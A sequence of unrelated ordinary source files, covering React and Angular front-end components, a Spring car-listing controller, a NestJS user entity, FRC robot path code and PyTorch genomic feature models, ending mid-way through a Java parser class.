import React, { useState } from "react"; import { createSearchParams, useNavigate } from "react-router-dom"; import CheckoutLocation from "./CheckoutLocation"; import { toast } from "react-toastify"; const CheckoutDetails = ({ id, provider, totalSize }) => { let searchParam = { id: id }; console.log(provider); const [formData, setFormData] = useState({ from_location: "", business_type: "public", reasons: "", from_date: "", to_date: "", storage_order: provider && provider.id, size: Number(totalSize), per_unit_price: provider && provider.per_unit_price, pending: true, proccess: false, completed: false, }); const navigate = useNavigate(); const dataChangeHandler = (event) => { setFormData((prevState) => { return { ...prevState, [event.target.id]: event.target.value, }; }); }; const getLocationData = (location, id) => { if (!location) { return setFormData((prev) => { return { ...prev, [id]: "", }; }); } const locationData = { address: location.properties.formatted ? location.properties.formatted : "", city: location.properties.city ? location.properties.city : "", country: location.properties.country ? location.properties.country : "", country_code: location.properties.country_code ? location.properties.country_code : "", county: location.properties.county ? location.properties.county : "", postcode: location.properties.postcode ? location.properties.postcode : 0, district: location.properties.district ? location.properties.district : "", lat: location.properties.lat ? location.properties.lat : "", lon: location.properties.lon ? location.properties.lon : "", }; setFormData((prev) => { return { ...prev, [id]: locationData, }; }); }; const submitFormHandler = (event) => { event.preventDefault(); if ( !formData.from_location || !formData.reasons || !formData.to_date || !formData.from_date ) { return toast.error("Add all the information before going to checkout"); } sessionStorage.setItem("orderPlacingDetails", JSON.stringify(formData)); navigate({ pathname: "/checkout", search: `${createSearchParams(searchParam)}`, }); }; return ( <> <> <form onSubmit={submitFormHandler}> <div className="row"> <div className="col-md-6"> <div className="form-group"> <label htmlFor="location"> From Location (Where to pick up) </label> <div className="form-control p-0"> <CheckoutLocation id="from_location" getLocationData={getLocationData} /> </div> </div> </div> <div className="col-md-6"> <div className="form-group"> <label htmlFor="reasons">Reasons</label> <select onChange={dataChangeHandler} id="reasons" className="form-select" aria-label="Default select example" > <option selected>Select Reasons</option> <option value="Moving Homes">Moving Homes</option> <option value="Natural Disasters">Natural Disasters</option> <option value="Accidental Landlords"> Accidental Landlords </option> <option value="Hoardings">Hoardings</option> <option value="Recreational Vehicles"> Recreational Vehicles </option> </select> </div> </div> </div> <div className="row"> <div className="col-md-6"> <div className="form-group"> <label htmlFor="from_date">From Date</label> <input type="date" name="from_date" onChange={dataChangeHandler} id="from_date" className="form-control" /> </div> </div> <div className="col-md-6"> <div className="form-group"> <label htmlFor="to_date">To Date</label> <input type="date" name="to_date" onChange={dataChangeHandler} id="to_date" className="form-control" /> </div> </div> </div> <button className="btn btn-primary mt-3">Checkout</button> </form> </> </> ); }; export default CheckoutDetails;
from abc import ABC, abstractmethod from typing import List, OrderedDict, Tuple class StrategyServer(ABC): def __init__(self, name: str, initial_impute: str): self.name = name self.initial_impute = initial_impute @abstractmethod def aggregate_parameters( self, local_model_parameters: List[OrderedDict], fit_res: List[dict], params: dict, *args, **kwargs ) -> Tuple[List[OrderedDict], dict]: """ Aggregate local models :param local_model_parameters: List of local model parameters :param fit_res: List of fit results of local training - sample_size: int - number of samples used for training :param params: dictionary for information :param args: other params list :param kwargs: other params dict :return: List of aggregated model parameters, dict of aggregated results """ pass @abstractmethod def fit_instruction(self, params_list: List[dict]) -> List[dict]: pass @abstractmethod def update_instruction(self, params: dict) -> dict: pass
import { createRouter, createWebHashHistory, RouteRecordRaw } from 'vue-router' import Home from '@/views/home.vue' const routes: Array<RouteRecordRaw> = [ { path: '/', redirect: '/home' }, { path: '/home', name: 'Home', component: Home }, { path: '/element', name: 'ElementPlus', component: () => import('@/views/element.vue') }, { path: '/axios', name: 'Axios', component: () => import('@/views/axios.vue') }, { path: '/scss', name: 'Scss', component: () => import('@/views/scss.vue') }, { path: '/test', name: 'TestUtil', component: () => import('@/views/my-test.vue') } ] const router = createRouter({ history: createWebHashHistory(), routes }) export default router
package com.malek.review.controllers; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.DeleteMapping; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PutMapping; import com.malek.review.models.Car; import com.malek.review.models.User; import com.malek.review.services.CarService; import com.malek.review.services.UserService; import jakarta.servlet.http.HttpSession; import jakarta.validation.Valid; @Controller public class CarController { @Autowired private CarService carServ; @Autowired private UserService userServ; // DISPLAY ROUTE - READ ALL @GetMapping("/home") public String home(Model m , @ModelAttribute("car") Car car ,HttpSession s) { Long UserId= (Long) s.getAttribute("user_id"); // Route Guard if (UserId==null) { return"redirect:/login"; }else { List<Car> allTheCars = carServ.allCars(); m.addAttribute("carsList", allTheCars); return "home.jsp"; } } // // ACTION ROUTE - Process Form @PostMapping("/cars") public String createCar(@Valid @ModelAttribute("car") Car car, BindingResult result, Model m,HttpSession s) { if (result.hasErrors()) { List<Car> allTheCars = carServ.allCars(); m.addAttribute("carsList", allTheCars); return "home.jsp"; } else { // Grub the cuurrent loggedin User Long UserId= (Long) s.getAttribute("user_id"); User loggedInUser = userServ.findOne(UserId); // set the driver as loggedin user car.setDriver(loggedInUser); // save the book Car newCar = carServ.createCar(car); return "redirect:/home"; } } // // Display Route - Edit form @GetMapping("cars/{id}/edit") public String editPage( @ModelAttribute("car") Car car ,@PathVariable("id") Long id, Model model) { // find that car with provided id Car thisCar = carServ.findCar(id); // pass thiscar to the jsp page model.addAttribute("car",thisCar); return "edit.jsp"; } // @PutMapping("/cars/{id}/edit") public String updateCar(@Valid @ModelAttribute("car") Car car, BindingResult result, @PathVariable("id") Long id) { if (result.hasErrors()) { return "home.jsp"; } else { // Grub the old driver Car oldCar = carServ.findCar(id); // set the driver as loggedin user car.setDriver(oldCar.getDriver()); // if there are no errors update car carServ.updateCar(car); return "redirect:/home"; } } // // DELETE @DeleteMapping("/cars/{id}") public String delete(@PathVariable("id") Long id) { carServ.deleteCar(id); return "redirect:/home"; } // Show Ones @GetMapping("/cars/{id}") public String showOne (@PathVariable("id") Long id , Model model) { Car thisCar = carServ.findCar(id); model.addAttribute("thiscar",thisCar); return "one.jsp"; } }
import { Component, forwardRef, Input, OnInit } from '@angular/core'; import { ContainerElement, ImageElement, LinkElement, ListElement, ListUnitElement, PageElement, SectionElement, SelectElement, CheckboxElement, TextElement, MultiListElement } from '../page.model'; import { ControlValueAccessor, FormArray, FormBuilder, FormGroup, NG_VALUE_ACCESSOR, Validators } from '@angular/forms'; import { atLeastOneElement, validElement, validList } from '../validators'; import { faAngleUp, faAngleDown, faArrowDown } from '@fortawesome/free-solid-svg-icons'; import { PageService } from '../page.service'; @Component({ selector: 'biom-edit-page-element', templateUrl: './edit-page-element.component.html', styleUrls: ['./edit-page-element.component.scss'], providers: [{ provide: NG_VALUE_ACCESSOR, useExisting: forwardRef(() => EditPageElementComponent), multi: true }] }) export class EditPageElementComponent implements ControlValueAccessor, OnInit { @Input() elementModel: PageElement; @Input() level: number; @Input() pageName: string; @Input() pageModelName: string; isSubmitted: boolean; element: PageElement; elementGroup: FormGroup; moveUpItemIcon = faAngleUp; moveDownItemIcon = faAngleDown; transferData = faArrowDown; private onChange: (value: any) => void = () => {}; private onTouched: () => void = () => {}; constructor(private fb: FormBuilder, private pageService: PageService) {} ngOnInit() { this.elementGroup = this.fb.group({}, { validators: [Validators.required, validElement] }); this.elementGroup.statusChanges.subscribe(() => this.onTouched()); } isText(element: PageElement): element is TextElement { return element.type === 'TEXT'; } isLink(element: PageElement): element is LinkElement { return element.type === 'LINK'; } isSelect(element: PageElement): element is SelectElement { return element.type === 'SELECT'; } isCheckbox(element: PageElement): element is CheckboxElement { return element.type === 'CHECKBOX'; } isImage(element: PageElement): element is ImageElement { return element.type === 'IMAGE'; } isListUnit(element: PageElement): element is ListUnitElement { return element.type === 'LIST_UNIT'; } isList(element: PageElement): element is ListElement { return element.type === 'LIST'; } isMultiList(element: PageElement): element is MultiListElement { return element.type === 'MULTI_LIST'; } isSection(element: PageElement): element is SectionElement { return element.type === 'SECTION'; } registerOnChange(fn: any) { this.onChange = fn; } registerOnTouched(fn: any) { this.onTouched = fn; } @Input() set submitted(isSubmitted: boolean) { this.isSubmitted = isSubmitted; if (isSubmitted) { if (this.elementGroup) { this.elementGroup.markAsTouched(); } if (this.elementsArray) { this.elementsArray.markAsTouched(); } } } writeValue(element: PageElement): void { this.element = element; this.elementGroup = this.fb.group({}, { validators: [Validators.required, validElement] }); switch (element.type) { case 'TEXT': { // the element is a text: we want a simple form with a 'text' control const validators = (element as TextElement).optional ? [validElement] : [Validators.required, validElement]; const textControl = this.fb.control(element, validators); this.elementGroup.addControl('text', textControl); textControl.valueChanges.subscribe((value: PageElement) => { this.onChange(value); }); break; } case 'SELECT': { // the element is a select: we want a simple form with a 'select' control const selectControl = this.fb.control(element, [validElement]); this.elementGroup.addControl('select', selectControl); selectControl.valueChanges.subscribe((value: PageElement) => { this.onChange(value); }); break; } case 'CHECKBOX': { // the element is a checkbox: we want a simple form with a 'checkbox' control const checkboxControl = this.fb.control(element, [validElement]); this.elementGroup.addControl('checkbox', checkboxControl); checkboxControl.valueChanges.subscribe((value: PageElement) => { this.onChange(value); }); break; } case 'LINK': { // the element is a link: we want a simple form with a 'link' control const linkControl = this.fb.control(element, [Validators.required, validElement]); this.elementGroup.addControl('link', linkControl); linkControl.valueChanges.subscribe((value: PageElement) => { this.onChange(value); }); break; } case 'IMAGE': { const imageControl = this.fb.control(element, [Validators.required, validElement]); this.elementGroup.addControl('image', imageControl); imageControl.valueChanges.subscribe((value: PageElement) => { this.onChange(value); }); break; } case 'SECTION': case 'LIST_UNIT': { // the element is a section or a list unit: we want a form control for each element of the section element.elements.forEach(sectionElement => { sectionElement.source = element.source; const sectionElementControl = this.fb.control(sectionElement, [Validators.required, validElement]); this.elementGroup.addControl(sectionElement.name, sectionElementControl); }); this.elementGroup.valueChanges.subscribe((value: PageElement) => { this.onChange({ ...element, elements: Object.values(value) }); }); break; } case 'MULTI_LIST': case 'LIST': { // the element is a list: we want a form array with a form control for each unit of the list const elementsArray = this.fb.array([], [Validators.required, validList, atLeastOneElement]); this.elementGroup.addControl('elements', elementsArray); element.elements.forEach(listUnit => { listUnit.source = element.source; elementsArray.push(this.fb.control(listUnit, [Validators.required, validElement])); }); elementsArray.valueChanges.subscribe((value: PageElement) => { this.onChange({ ...element, elements: Object.values(value) }); }); break; } } } getElementModel(name: string): PageElement { return (this.elementModel as ContainerElement)?.elements.find(el => el.name === name); } getMultiListElementModel(name: string): PageElement { return (this.elementModel as MultiListElement).templates.find(el => el.name === name); } addListUnit(element: ListElement) { // get the pristine list unit from the model const listUnitElement = { ...(this.elementModel as ListElement).elements[0] }; // push it to the list elements this.elementsArray.push(this.fb.control(listUnitElement, [Validators.required, validElement])); element.elements.push(listUnitElement); } addMultiListUnit(element: MultiListElement, template: SectionElement) { // push it to the list elements element.elements.push(template); this.elementsArray.push(this.fb.control(template, [Validators.required, validElement])); } removeListUnit(element: ListElement | MultiListElement, unitIndex: number) { element.elements.splice(unitIndex, 1); this.elementsArray.removeAt(unitIndex); } moveUpListUnit(element: ListElement | MultiListElement, unitIndex: number) { [element.elements[unitIndex], element.elements[unitIndex - 1]] = [element.elements[unitIndex - 1], element.elements[unitIndex]]; const formArrayElement = this.elementsArray.at(unitIndex); const formArrayElementToSwapWith = this.elementsArray.at(unitIndex - 1); this.elementsArray.removeAt(unitIndex - 1); this.elementsArray.removeAt(unitIndex - 1); this.elementsArray.insert(unitIndex - 1, formArrayElement); this.elementsArray.insert(unitIndex, formArrayElementToSwapWith); } moveDownListUnit(element: ListElement | MultiListElement, unitIndex: number) { [element.elements[unitIndex], element.elements[unitIndex + 1]] = [element.elements[unitIndex + 1], element.elements[unitIndex]]; const formArrayElement = this.elementsArray.at(unitIndex); const formArrayElementToSwapWith = this.elementsArray.at(unitIndex + 1); this.elementsArray.removeAt(unitIndex); this.elementsArray.removeAt(unitIndex); this.elementsArray.insert(unitIndex, formArrayElementToSwapWith); this.elementsArray.insert(unitIndex + 1, formArrayElement); } get elementsArray() { return this.elementGroup ? (this.elementGroup.get('elements') as FormArray) : null; } importSectionData() { this.pageService.importPageValue(this.pageName, this.pageModelName).subscribe(page => { (page.elements.find(e => e.type === 'SECTION' && e.name === this.element.name) as SectionElement)?.elements.forEach(element => { element.source = 'IMPORTED'; this.elementGroup.controls[element.name].setValue(element); }); }); } }
import {BaseEntity, Column, Entity, OneToMany, PrimaryGeneratedColumn, Unique} from "typeorm"; import * as bcrypt from 'bcrypt'; import {Logger} from "@nestjs/common"; import {Folder} from "../folders/folder.entity"; @Entity() @Unique(['email']) export class User extends BaseEntity { private readonly logger = new Logger('UserEntity'); @PrimaryGeneratedColumn() id: number; @Column() email: string; @Column() password: string; @Column() salt: string; @OneToMany(type => Folder, folder => folder.id) folders: Folder[]; public async validatePassword(password: string): Promise<boolean> { const hash = await bcrypt.hash(password, this.salt); const isEqual = hash === this.password; if (!isEqual) { this.logger.error('Password invalid!'); } return isEqual; } }
import React, { useState, useEffect } from 'react'; import axios from 'axios'; import { useParams } from 'react-router-dom'; const JsonRenderer = ({ tenderID }) => { const [data, setData] = useState({}); const [openBlocks, setOpenBlocks] = useState({}); const [id, setId] = useState(tenderID); useEffect(() => { const fetchData = async () => { try { const response = await axios.get(`${process.env.REACT_APP_API_URL}client/tender?id=${id}`); setData(response.data); // Инициализируем состояние openBlocks при получении новых данных const keys = Object.keys(response.data); const initialOpenBlocks = {}; keys.forEach((key) => { initialOpenBlocks[key] = true; }); setOpenBlocks(initialOpenBlocks); } catch (error) { console.error('Ошибка при выполнении запроса:', error); } }; fetchData(); }, [id]); const toggleBlock = (key) => { setOpenBlocks((prevOpenBlocks) => ({ ...prevOpenBlocks, [key]: !prevOpenBlocks[key], })); }; const renderData = (obj, depth = 0) => { const keys = Object.keys(obj); return keys.map((key) => { const value = obj[key]; const isObject = typeof value === 'object'; const isOpen = openBlocks[key] !== undefined ? openBlocks[key] : true; // всегда открыто по умолчанию const itemStyle = { paddingLeft: `${depth * 10}px`, }; return ( <div key={key} className={`item ${isObject ? 'nested-item' : ''}`} style={itemStyle}> <div> {isObject && depth >= 2 && ( <button style={{ border: 'none', background: 'none' }} className="arrow-button" onClick={() => toggleBlock(key)} > {isOpen ? '▲' : '▶'} </button> )} <strong>{key}:</strong> </div> {isObject && isOpen && <div>{renderData(value, depth + 1)}</div>} {!isObject && <div>{value}</div>} </div> ); }); }; return <div className="json-data" style={{ marginLeft: '10%' }}>{renderData(data)}</div>; }; export default JsonRenderer;
package frc.robot.classes; import java.util.function.Consumer; import java.util.function.Supplier; import com.pathplanner.lib.PathPlanner; import com.pathplanner.lib.PathPlannerTrajectory; import com.pathplanner.lib.commands.PPSwerveControllerCommand; import edu.wpi.first.math.controller.PIDController; import edu.wpi.first.math.geometry.Pose2d; import edu.wpi.first.math.kinematics.ChassisSpeeds; import edu.wpi.first.math.kinematics.SwerveDriveKinematics; import edu.wpi.first.wpilibj2.command.Subsystem; import frc.robot.Constants; import frc.robot.subsystems.SwerveChassis; /** Add your docs here. */ public class PathFunctions { /** * Returns a Trajectory object, given a path to the trajectory file * * @param path trajectory file path, I am pretty sure that you just need to * input PathName.path * @return Trajectory object */ public static PathPlannerTrajectory createTrajectory(String path) { return PathPlanner.loadPath(path, Constants.PATH_MAX_VEL, Constants.PATH_MAX_ACC); } /** * DEPRECATED PROBABLY * Creates a PPSwerveControllerCommand to follow a trajectory * * @param trajectory Trajectory object * @param poseSupplier A supplier of type Pose2d * @param kinematics Kinematics object * @param outputStates Consumer of type SwerveModuleState array * @param chassis Subsystem requirements, Variable Arguments * @return A PPSwerveControllerCommand object */ public static PPSwerveControllerCommand createSwerveController( PathPlannerTrajectory trajectory, Supplier<Pose2d> poseSupplier, SwerveDriveKinematics kinematics, Consumer<ChassisSpeeds> chassisSpeeds, Subsystem... chassis) { return new PPSwerveControllerCommand( trajectory, poseSupplier, new PIDController(Constants.X_ERROR_VEL, Constants.TRAJECTORY_KI, Constants.TRAJECTORY_KD), new PIDController(Constants.Y_ERROR_VEL, Constants.TRAJECTORY_KI, Constants.TRAJECTORY_KD), new PIDController(1, Constants.TRAJECTORY_KI, Constants.TRAJECTORY_KD), chassisSpeeds, chassis); } /** * Resets the odometry of the robot to the provided trajectory intial pose * * @param m_chassis * @param trajectory */ public static void resetOdometry(SwerveChassis m_chassis, PathPlannerTrajectory trajectory) { Odometry.resetOdometry(trajectory.getInitialHolonomicPose(), trajectory.getInitialHolonomicPose().getRotation(), m_chassis, m_chassis.odometry); } }
import { useState } from "react"; const HookOne = () =>{ let city = ['Banglore', 'Mumbai']; const[a, b] = city; // array de-structure console.log(useState()); // [ undefined, f()] let [x, y]= useState(1000); // [ 1000, f()] let [message, updateMessage] = useState(""); const one = ()=>{ y( x + 1 ); updateMessage("Increasing the value...") } const two = ()=>{ y( x - 1 ); updateMessage("Sorry its going down...") } let [booklist , updateBook] = useState(['Html', 'CSS', 'Bootsrap','Javascript', 'Node JS','React']); return( <section> <h1> How to use useState() for state management </h1> <p> {city[0]} </p> <p> {city[1]} </p> <p> {a} and {b} </p> <p> { x } </p> <p> { message }</p> <button onClick={one}> + By 1 </button> <button onClick={two}> - By 1 </button> <h2> Available Book: {booklist.length}</h2> { booklist.map((bookname, index)=>{ return( <p key={index}> {bookname} </p> ) }) } </section> ) } export default HookOne;
import torch import torch.nn as nn from base import BaseModel class Genomic_Feature_Extractor(BaseModel): def __init__(self, genomic_dim=20, genomic_embedding_dim=8): super().__init__() self.genomic_dim = genomic_dim self.genomic_embedding_dim = genomic_embedding_dim self.genomic_feature_extractor = nn.Sequential( nn.Linear(self.genomic_dim, self.genomic_embedding_dim), nn.BatchNorm1d(self.genomic_embedding_dim), nn.Linear(self.genomic_embedding_dim, self.genomic_embedding_dim), nn.BatchNorm1d(self.genomic_embedding_dim), nn.Linear(self.genomic_embedding_dim, self.genomic_embedding_dim), nn.BatchNorm1d(self.genomic_embedding_dim) ) self.initialization() def initialization(self): ''' Initiate parameters in the model. ''' for m in self.modules(): if isinstance(m, nn.BatchNorm1d): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight) nn.init.constant_(m.bias, 0) # print type #m.weight.type() #m.bias.type() def forward(self, genomic): # transform genomic to float32 genomic = genomic.type(torch.float32) return self.genomic_feature_extractor(genomic) class Clinical_Feature_Extractor(BaseModel): def __init__(self, clinical_numerical_dim, clinical_categorical_dim, clinical_embedding_dim=8): super().__init__() self.clinical_numerical_dim = clinical_numerical_dim self.clinical_categorical_dim = clinical_categorical_dim self.clinical_embedding_dim = clinical_embedding_dim if self.clinical_categorical_dim: self.clinical_categorical_embedding = nn.Embedding( self.clinical_categorical_dim, self.clinical_embedding_dim - clinical_numerical_dim ) self.clinical_feature_encoder = nn.Sequential( nn.Linear(self.clinical_embedding_dim, self.clinical_embedding_dim), nn.BatchNorm1d(self.clinical_embedding_dim), nn.Linear(self.clinical_embedding_dim, self.clinical_embedding_dim), nn.BatchNorm1d(self.clinical_embedding_dim), nn.Linear(self.clinical_embedding_dim, self.clinical_embedding_dim), nn.BatchNorm1d(self.clinical_embedding_dim) ) self.initialization() def initialization(self): ''' Initiate parameters in the model. ''' for m in self.modules(): if isinstance(m, nn.BatchNorm1d): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight) nn.init.constant_(m.bias, 0) def forward(self, clinical): batch_size = clinical.size(0) clinical = clinical.type(torch.float32) clinical_numerical, clinical_categorical = torch.split( clinical, [self.clinical_numerical_dim, self.clinical_categorical_dim], dim=1 ) if self.clinical_categorical_dim: clinical_categorical_embeddings = self.clinical_categorical_embedding( clinical_categorical.nonzero(as_tuple=True)[1].view( clinical_categorical.size(0), -1 ) ).mean(dim=1) else: clinical_categorical_embeddings = torch.zeros( batch_size, self.clinical_embedding_dim - self.clinical_numerical_dim, device=clinical.device ) return self.clinical_feature_encoder( torch.hstack([clinical_numerical, clinical_categorical_embeddings]) ).squeeze() class Feature_Extractor(BaseModel): def __init__(self, genomic_dim, clinical_numerical_dim, clinical_categorical_dim, genomic_embedding_dim=8, clinical_embedding_dim=8): super().__init__() self.clinical_numerical_dim = clinical_numerical_dim self.clinical_categorical_dim = clinical_categorical_dim self.genomic_dim = genomic_dim self.clinical_dim = self.clinical_numerical_dim + self.clinical_categorical_dim self.genomic_embedding_dim = genomic_embedding_dim self.clinical_embedding_dim = clinical_embedding_dim self.embedding_dim = self.genomic_embedding_dim + self.clinical_embedding_dim self.genomic_feature_extractor = Genomic_Feature_Extractor( genomic_dim=self.genomic_dim, genomic_embedding_dim=self.genomic_embedding_dim ) if self.genomic_embedding_dim > 0 else None self.clinical_feature_extractor = Clinical_Feature_Extractor( clinical_numerical_dim=self.clinical_numerical_dim, clinical_categorical_dim=self.clinical_categorical_dim, clinical_embedding_dim=self.clinical_embedding_dim ) if self.clinical_embedding_dim > 0 else None assert self.genomic_feature_extractor or self.clinical_feature_extractor, \ 'Both genomic_embedding_dim and clinical_embedding_dim cannot be 0.' self.initialization() def initialization(self): ''' Initiate parameters in the model. ''' for m in self.modules(): if isinstance(m, nn.BatchNorm1d): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight) nn.init.constant_(m.bias, 0) def forward(self, genomic, clinical, project_id): if self.genomic_feature_extractor is None: clinical_features: torch.Tensor = self.clinical_feature_extractor(clinical) genomic_features = torch.zeros(clinical_features.shape, device=clinical_features.device) elif self.clinical_feature_extractor is None: genomic_features: torch.Tensor = self.genomic_feature_extractor(genomic) clinical_features = torch.zeros(genomic_features.shape, device=genomic_features.device) else: genomic_features: torch.Tensor = self.genomic_feature_extractor(genomic) clinical_features: torch.Tensor = self.clinical_feature_extractor(clinical) return torch.hstack([genomic_features, clinical_features]) class Genomic_Separate_Feature_Extractor(BaseModel): def __init__(self, genomic_dim, genomic_feature_extractor_num, clinical_numerical_dim, clinical_categorical_dim, genomic_embedding_dim=8, clinical_embedding_dim=8): super().__init__() self.clinical_numerical_dim = clinical_numerical_dim self.clinical_categorical_dim = clinical_categorical_dim self.genomic_dim = genomic_dim self.genomic_feature_extractor_num = genomic_feature_extractor_num self.clinical_dim = self.clinical_numerical_dim + self.clinical_categorical_dim self.genomic_embedding_dim = genomic_embedding_dim self.clinical_embedding_dim = clinical_embedding_dim self.embedding_dim = self.genomic_embedding_dim + self.clinical_embedding_dim if self.genomic_dim and self.genomic_embedding_dim: self.genomic_feature_extractors = {} for i in range(self.genomic_feature_extractor_num): self.genomic_feature_extractors[str(i)] = Genomic_Feature_Extractor( genomic_dim=self.genomic_dim, genomic_embedding_dim=self.genomic_embedding_dim ) self.genomic_feature_extractors = nn.ModuleDict(self.genomic_feature_extractors) if self.clinical_dim and self.clinical_embedding_dim: self.clinical_feature_extractor = Clinical_Feature_Extractor( clinical_numerical_dim=self.clinical_numerical_dim, clinical_categorical_dim=self.clinical_categorical_dim, clinical_embedding_dim=self.clinical_embedding_dim ) self.initialization() def initialization(self): ''' Initiate parameters in the model. ''' for m in self.modules(): if isinstance(m, nn.BatchNorm1d): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight) nn.init.constant_(m.bias, 0) def forward(self, genomic, clinical, project_id): genomic_features = torch.zeros(genomic.size(0), self.genomic_embedding_dim, device=genomic.device) for p_id in self.genomic_feature_extractors: i = int(p_id) if (project_id == i).sum() > 1: genomic_features[project_id == i] = self.genomic_feature_extractors[p_id](genomic[project_id == i]) if self.clinical_dim and self.clinical_embedding_dim: clinical_features = self.clinical_feature_extractor(clinical) else: clinical_features = torch.zeros(clinical.size(0), self.clinical_embedding_dim, device=clinical.device) features = torch.hstack([genomic_features, clinical_features]) return features class Classifier(BaseModel): def __init__(self, genomic_embedding_dim=8, clinical_embedding_dim=8, output_dim=1, skip=False): super().__init__() self.genomic_embedding_dim = genomic_embedding_dim self.clinical_embedding_dim = clinical_embedding_dim self.embedding_dim = int((self.genomic_embedding_dim + self.clinical_embedding_dim) / 2) self.output_dim = output_dim self.classifier = nn.Sequential( nn.Linear(2 * self.embedding_dim, self.embedding_dim), nn.BatchNorm1d(self.embedding_dim), nn.Softsign(), nn.Linear(self.embedding_dim, self.embedding_dim), nn.BatchNorm1d(self.embedding_dim), nn.Softsign(), nn.Linear(self.embedding_dim, self.output_dim) ) if skip: self.classifier = nn.Linear(2 * self.embedding_dim, self.output_dim) self.initialization() def initialization(self): ''' Initiate parameters in the model. ''' for m in self.modules(): if isinstance(m, nn.BatchNorm1d): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight) nn.init.constant_(m.bias, 0) def forward(self, embeddings, project_id): return self.classifier(embeddings).squeeze() class Task_Classifier(BaseModel): def __init__(self, task_dim, genomic_embedding_dim=8, clinical_embedding_dim=8, output_dim=1): super().__init__() self.task_dim = task_dim self.genomic_embedding_dim = genomic_embedding_dim self.clinical_embedding_dim = clinical_embedding_dim self.embedding_dim = int((self.genomic_embedding_dim + self.clinical_embedding_dim) / 2) self.output_dim = output_dim self.task_embedding = nn.Embedding(self.task_dim, self.embedding_dim) self.combine_layer = nn.Sequential( nn.Linear(2 * self.embedding_dim, self.embedding_dim), nn.BatchNorm1d(self.embedding_dim), nn.Softsign() ) self.classifier = nn.Sequential( nn.Linear(self.embedding_dim, self.embedding_dim), nn.BatchNorm1d(self.embedding_dim), nn.Softsign(), nn.Linear(self.embedding_dim, self.output_dim) ) self.initialization() def initialization(self): ''' Initiate parameters in the model. ''' for m in self.modules(): if isinstance(m, nn.BatchNorm1d): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.xavier_uniform_(m.weight) nn.init.constant_(m.bias, 0) def forward(self, embedding, project_id): # make sure project_id is int project_id = project_id.type(torch.int32) task_embedding = self.task_embedding(project_id) embeddings = torch.add(self.combine_layer(embedding), task_embedding) return self.classifier(embeddings).squeeze()
/** * Modules, services, and components used by all apps. */ import {CommonModule} from '@angular/common'; import {NgModule, ModuleWithProviders} from '@angular/core'; import {RouterModule} from '@angular/router'; import {FormsModule, ReactiveFormsModule} from '@angular/forms'; import {NgbModule} from '@ng-bootstrap/ng-bootstrap'; import {EgCoreModule} from '@eg/core/core.module'; /* Note core services are injected into 'root'. They do not have to be added to the providers list. */ import {HtmlToTxtService} from '@eg/share/util/htmltotxt.service'; import {PrintService} from '@eg/share/print/print.service'; import {AnonCacheService} from '@eg/share/util/anon-cache.service'; // Globally available components import {PrintComponent} from '@eg/share/print/print.component'; import {DialogComponent} from '@eg/share/dialog/dialog.component'; import {AlertDialogComponent} from '@eg/share/dialog/alert.component'; import {ConfirmDialogComponent} from '@eg/share/dialog/confirm.component'; import {PromptDialogComponent} from '@eg/share/dialog/prompt.component'; import {ProgressInlineComponent} from '@eg/share/dialog/progress-inline.component'; import {ProgressDialogComponent} from '@eg/share/dialog/progress.component'; import {BoolDisplayComponent} from '@eg/share/util/bool.component'; import {ToastService} from '@eg/share/toast/toast.service'; import {ToastComponent} from '@eg/share/toast/toast.component'; import {StringModule} from '@eg/share/string/string.module'; @NgModule({ declarations: [ PrintComponent, DialogComponent, AlertDialogComponent, ConfirmDialogComponent, PromptDialogComponent, ProgressInlineComponent, ProgressDialogComponent, ToastComponent, BoolDisplayComponent ], imports: [ CommonModule, FormsModule, ReactiveFormsModule, RouterModule, NgbModule, EgCoreModule, StringModule ], exports: [ CommonModule, RouterModule, NgbModule, FormsModule, EgCoreModule, StringModule, ReactiveFormsModule, PrintComponent, DialogComponent, AlertDialogComponent, ConfirmDialogComponent, PromptDialogComponent, ProgressInlineComponent, ProgressDialogComponent, BoolDisplayComponent, ToastComponent ] }) export class EgCommonModule { /** forRoot() lets us define services that should only be * instantiated once for all loaded routes */ static forRoot(): ModuleWithProviders<EgCommonModule> { return { ngModule: EgCommonModule, providers: [ AnonCacheService, HtmlToTxtService, PrintService, ToastService ] }; } }
/* * Copyright 2013 Jonatan Jönsson * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package se.softhouse.jargo; import java.util.Locale; import javax.annotation.Nonnull; import javax.annotation.concurrent.Immutable; /** * A <a href="http://en.wikipedia.org/wiki/Decorator_pattern">Decorator</a> class. * It allows you to subclass it and override individual methods * that you want to customize for an existing {@link StringParser}. * For instance, a parser that's useful in a garden application could look like this: * * <pre class="prettyprint"> * <code class="language-java"> * private static final class WateringParser extends SimpleForwardingStringParser&lt;Integer&gt; * { * WateringParser() * { * super(StringParsers.integerParser()); * } * * public Integer parse(String value, Locale locale) throws ArgumentException * { * waterPlants(); * return super.parse(value, locale); * } * * private void waterPlants() * { * System.out.println("Watering plants"); * } * } * </code> * * This WateringParser can then be integrated with an argument via * {@link Arguments#withParser(StringParser)}. * Most subclasses can just use {@link SimpleForwardingStringParser}. * </pre> * * @param <T> the type the decorated {@link StringParser} handles */ @Immutable public abstract class ForwardingStringParser<T> implements StringParser<T> { /** * A factory method that allow subclasses to switch delegate under their own terms, * like the <a href="http://en.wikipedia.org/wiki/Proxy_pattern">Proxy</a> 